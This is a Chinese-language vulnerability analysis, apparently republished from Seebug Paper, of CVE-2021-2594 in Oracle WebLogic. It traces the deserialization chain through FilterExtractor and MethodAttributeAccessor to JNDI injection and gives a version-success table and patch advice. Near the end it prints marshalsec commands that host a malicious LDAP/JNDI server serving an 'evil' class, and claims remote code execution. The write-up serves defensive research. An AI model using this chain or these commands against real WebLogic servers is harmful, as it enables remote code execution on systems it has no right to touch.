作者:kejaly@白帽匯安全研究院
校對:r4v3zn@白帽匯安全研究院
前言
在2021年7月21日,Oracle官方 發布了一系列安全更新。涉及旗下產品(Weblogic Server、Database Server、Java SE、MySQL等)的 342 個漏洞,https://www.oracle.com/security-alerts/cpujul2021.htm 。其中,Oracle WebLogic Server 產品中有高危漏洞,漏洞編號為 CVE-2021-2594,CVSS 評分9.8分,影響多個 WebLogic 版本,且漏洞利用難度低,可基于 T3 和 IIOP 協議執行遠程代碼。

經過分析,此次漏洞結合了 CVE-2020-14756 和 CVE-2020-14825 反序列化鏈,利用FilterExtractor 這個類來對4月份補丁進行繞過。
補丁回顧
在4月份補丁中,對 ExternalizableHelper 中的 readExternalizable 做了修改,增加了對傳入的 DataInput 判斷,如果是 ObjectInputStream 類型就會調用 checkObjectInputFilter 函數進行過濾。所以再利用 CVE-2020-14756 中直接反序列化 com.tangosol.coherence.rest.util.extractor.MvelExtractor 來造成 RCE 的方法已經行不通了。

調試環境
本文基于 win7 虛擬機 + Weblogic 12.1.4 版本 + jdk 8u181 進行研究分析測試
修改目錄 user_project/domains/base_domain/bin 目錄中 setDomainEnv.cmd ,加if %debugFlag == "true"% 之前加入 set debugFlag=true。

拷貝 Oracle_Home 目錄下所有文件至調試目錄,將 \coherence\lib,\oracle_common\modules 目錄下所有文件添加到 Libraries:

配置 idea 中 jdk 版本與虛擬機中運行的 weblogic jdk 版本保持一致。
添加 remote 調試:

漏洞利用
該漏洞主要是因為 FilterExtractor 的 readExternal 方法中會直接 new 一個 MethodAttributeAccessor 對象,使得生成 MethodAttributeAccessor的時候不會受到黑名單的限制,來對4月份的補丁進行繞過。
FilterExtractor 類具有如下特征:
1.FilterExtractor 實現了 ExternalizableLite 接口,重寫了 readExternal 方法:


readExternal 會調用oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

可以看到會 new 一個 MethodAttributeAccessor 對象,然后根據 DataInput 賦值它的 setAttributeName,setGetMethodName 以及 setSetMethodName 屬性(這就導致這三個屬性是可控的)。
2.FilterExtractor 的 extract 方法中存在 this.attributeAccessor.getAttributeValueFromObject() 的調用。

熟悉 coherence 組件的漏洞的朋友應該知道在 CVE-2020-14825 中,就是利用 MethodAttributeAccessor.getAttributeValueFromObject() 來實現任意無參方法的調用的。

雖然 MethodAttributeAccessor 已經加入到了黑名單,但是在上面提到的 readExternal 方法中恰好直接 new 了一個 MethodAttributeAccessor 對象,也就是說不是通過反序列化得到 MethodAttributeAccessor 對象,自然也就不受黑名單的影響。
調用鏈
完整調用鏈如下:


漏洞分析
根據構造的 poc ,我們首先在 AttributeHolder 類的 readExternal方法中打上斷點,另一邊則運行我們的 poc ,成功斷下:

步入,會調用到 com.tangosol.util.ExternalizableHelper 中的 readObject 方法:

步入,最后會進入到 com.tangosol.util.ExternalizableHelper中的 readObjectInternal 方法中調用 readExternalizableLite 方法:


步入,在com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法中,首先會調用 loadClass 去加載類,然后調用無參構造函數實例化一個對象,這里個加載的類是 com.tangosol.util.aggregator.TopNAggregator$PartialResult:


隨后會調用 com.tangosol.util.aggregator.TopNAggregator$PartialResult 類的 readExternal 方法:

步入,會再次調用 com.tangosol.util.ExternalizableHelper.readObject 方法來讀取一個對象并且賦值到 this.m_comparator 中,

步入,之后會再次調用到 com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法,由于這次讀取的 sClass 是 oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor ,所以會實例化一個 FilterExtractor 對象,然后調用它的 readExternal 方法:


步入 ,來到 FilterExtractor 的 readExteral 中,會調用 oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

步入,會 new 一個 MethodAttributeAccessor 對象,并且調用 com.tangosol.util.SerializationHelper#readObject 方法給 MethodAttributeAccessor 對象的 attributeName , getMethodName 和 setMethodName 這三個屬性賦值:

賦值之后的結果為:

再回到之前的 com.tangosol.util.aggregator.TopNAggregator$PartialResult 類的 readExternal 方法中,this.m_comparator 變成了上面 oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor 對象:


接著在 182 行,會調用 this.instantiateInternalMap(this.m_comparator) 方法,步入,會把 FilterExtractor再封裝到 WrapperCompator 中,然后傳入 TreeMap的構造函數,實例化一個 TreeMap 對象并且返回:


186 行,調用 this.add 方法,這里 ExternalizableHelper.readObject(in)返回的是 JdbcRowSetImpl 對象



接著步入 super.add 方法:

然后會調用 TreeMap.put 方法,添加傳入的 JdbcRowSetImpl 對象,最后會來到 com.tangosol.util.WrapperComparator#compare 方法并觸發 this.f_comparator.compare 方法, this.f_comparator 正是之前傳入的 FilterExtractor 對象:


步入,會調用 com.tangosol.util.extractor#compare 方法,這個方法中又會調用到 this.extract 方法,也就是會調用 FilterExtractor#extract方法,進而調用 this.attributeAccessor 的 initializeAttributes 方法, 而此時的 this.attributeAccssor 是 MethodAttributeAccessor 對象,所以會調用 MethodAttributeAccessor#initializeAttributes 方法:


在 MethodAttributeAccessor 中的 initializeAttributes 方法中首先會調用 this.setGetMethod 方法來設置 MethodAttributeAccessor 的 getMethod :

其中 Helper.getDeclaredMethod 方法流程如下,是通過傳入的類,方法名,以及參數類型來得到對應 class 的 Method:



此時由于 theJavaClass 是 com.sun.rowset.JdbcRowSetImpl, this.getMethodName 是 "prepare" ,所以第一次得到的 prepare 方法:



與 CVE-2020-14825 的反序列化流程不同的是, 因為在 initializeAttributes 的時候,我們不能再通過控制 isWriteOnly 屬性為 true ,所以會進入到下面這個 if 分支里面去:

會先調用 this.getSetMethodParameterTypes 得到 this.getGetMethod 屬性代表的方法的返回值:


this.getGetMethod 在上一步賦值為了 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException ,

所以這里 this.getSetMethodParameterTypes 方法得到的是 java.sql.PreparedStatement類型:

然后調用Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes()); 就會得到 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException 方法。
initializeAttributes 結束后 MethodAttributeAccessor的屬性值:

接著,回到 FilterExtractor#extract 方法中,會繼續調用 this.attributeAccessor.getAttributeValueFromObject 也就是調用 MethodAttributeAccessor.getAttributeValueFromObject 方法:

步入:

步入,會利用反射調用方法:

此時 this.getMethod 是 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException,abObject 是 JbbcRoeSetImpl :

這就導致了 jndi 注入的產生:



我們在本地使用 marshalsec 搭建惡意 jndi 服務端:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:8000/#evil 1389
python -m http.server
成功 RCE:

jndi 版本問題
在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被設置為false,所以此 ldap + jndi 導致 RCE 的方法失效。
10.3.6.0 問題
在使用基于 TopNAggregator.PartialResult 的 poc 對官網說的版本進行復現的時候,發現 10.3.6.0.0 版本中并不存在 com.tangosol.util.SortedBag 和 com.tangosol.util.aggregator.TopNAggregator 這兩個類:

缺少 SortedBag:

缺少 TopNAggregator :

weblogic 版本問題
使用不同 weblogic 版本的 jar 包對不同版本的 weblogic 進行測試,經過測試研究發現以下情況:
| jar 版本 | weblogic 版本 | 成功情況 |
|---|---|---|
| 12.1.3.0.0 | 12.1.3.0.0 | 成功 |
| 12.1.3.0.0 | 12.2.1.3.0 | 失敗 |
| 12.1.3.0.0 | 12.2.1.4.0 | 失敗 |
| 12.1.3.0.0 | 14.1.1.0.0 | 失敗 |
| 12.2.1.3.0 | 12.1.3.0.0 | 失敗 |
| 12.2.1.3.0 | 12.2.1.3.0 | 成功 |
| 12.2.1.3.0 | 12.2.1.4.0 | 成功 |
| 12.2.1.3.0 | 14.1.1.0.0 | 成功 |
| 12.2.1.4.0 | 12.1.3.0.0 | 失敗 |
| 12.2.1.4.0 | 12.2.1.3.0 | 成功 |
| 12.2.1.4.0 | 12.2.1.4.0 | 成功 |
| 12.2.1.4.0 | 14.1.1.0.0 | 成功 |
| 14.1.1.0.0 | 12.1.3.0.0 | 失敗 |
| 14.1.1.0.0 | 12.2.1.3.0 | 成功 |
| 14.1.1.0.0 | 12.2.1.4.0 | 成功 |
| 14.1.1.0.0 | 14.1.1.0.0 | 成功 |
7月份補丁影響
打了7月份補丁之后,會報錯:

原因是在 WebLogicFilterConfig 類的DEFAULT_BLACKLIST_PACKAGES 字段中新增了 oracle.eclipselink.coherence.integrated.internal.querying 這個包:

而 FilterExtractor 類正好在 oracle.eclipselink.coherence.integrated.internal.querying 包下面,所以導致被黑名單攔截了下來。
修復建議
通用修補建議
Oracle官方已經發布補丁,及時進行更新:https://www.oracle.com/security-alerts/cpujul2021.html
Weblogic 臨時修補建議
- 如果不依賴 T3協議進行 JVM通信,可禁用 T3協議。
- 如果不依賴 IIOP協議進行 JVM通信,可禁用 IIOP協議。
參考
https://www.cnblogs.com/potatsoSec/p/15062094.html
https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1684/
暫無評論